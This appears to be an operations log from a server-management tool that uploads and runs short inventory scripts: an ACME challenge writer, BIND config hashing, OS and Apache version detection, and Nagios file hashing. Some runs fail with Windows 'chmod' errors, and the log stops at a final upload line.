2026-01-01 06:00:04:
1
2026-01-01 06:00:05: Establishing a connection
2026-01-01 06:00:05:
PUT: /tmp/pkp132935
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > hpgDTE7a9W0jynnWPXErm52NbhhxiH73JCpcc_kliJQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
hpgDTE7a9W0jynnWPXErm52NbhhxiH73JCpcc_kliJQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 hpgDTE7a9W0jynnWPXErm52NbhhxiH73JCpcc_kliJQ
2026-01-01 06:00:05:
chmod 755 /tmp/pkp132935; /tmp/pkp132935; rm /tmp/pkp132935
2026-01-01 06:00:05:
2026-01-01 13:29:19: Establishing a connection
2026-01-01 13:29:19:
PUT: /tmp/pkp407119
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-01 13:29:20:
runuser -l bind -s /bin/bash -c '/tmp/pkp407119; rm /tmp/pkp407119'
2026-01-01 13:29:20:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-01 13:32:28: Establishing a remote connection
2026-01-01 13:48:06: Establishing a remote connection
2026-01-01 17:02:46: Establishing a remote connection
2026-01-01 17:02:52: Establishing a remote connection
2026-01-01 17:02:53:
PUT: /tmp/pkp666741
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2026-01-01 17:02:53:
chmod 755 /tmp/pkp666741; /tmp/pkp666741; rm /tmp/pkp666741
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-01 17:02:54:
PUT: /tmp/pkp401316
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2026-01-01 17:02:54:
chmod 755 /tmp/pkp401316; /tmp/pkp401316; rm /tmp/pkp401316
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-01 17:02:55:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 0,
'name' => '',
'arch' => '',
'mac' => 0,
'distro' => '',
'web' =>
array (
),
)
2026-01-01 17:02:55:
PUT: /tmp/pkp335326
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
gzip -cn9 $temp_file
rm $temp_file
2026-01-01 17:02:55:
chmod 755 /tmp/pkp335326; /tmp/pkp335326; rm /tmp/pkp335326
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-01 17:02:56:
PUT: /tmp/pkp663997
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-01 17:02:56:
chmod 755 /tmp/pkp663997; /tmp/pkp663997; rm /tmp/pkp663997
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:22:00: Establishing a remote connection
2026-01-02 11:22:01: guest operating system:
2026-01-02 11:22:01:
PUT: /tmp/pkp196702
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:22:01:
chmod 755 /tmp/pkp196702; /tmp/pkp196702; rm /tmp/pkp196702
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:22:02:
PUT: /tmp/pkp743977
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2026-01-02 11:22:02:
chmod 755 /tmp/pkp743977; /tmp/pkp743977; rm /tmp/pkp743977
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:22:03:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 0,
'name' => '',
'arch' => '',
'mac' => 0,
'distro' => '',
'web' =>
array (
),
)
2026-01-02 11:22:03:
PUT: /tmp/pkp439825
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
gzip -cn9 $temp_file
rm $temp_file
2026-01-02 11:22:03:
chmod 755 /tmp/pkp439825; /tmp/pkp439825; rm /tmp/pkp439825
STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.
2026-01-02 11:22:04:
PUT: /tmp/pkp989954
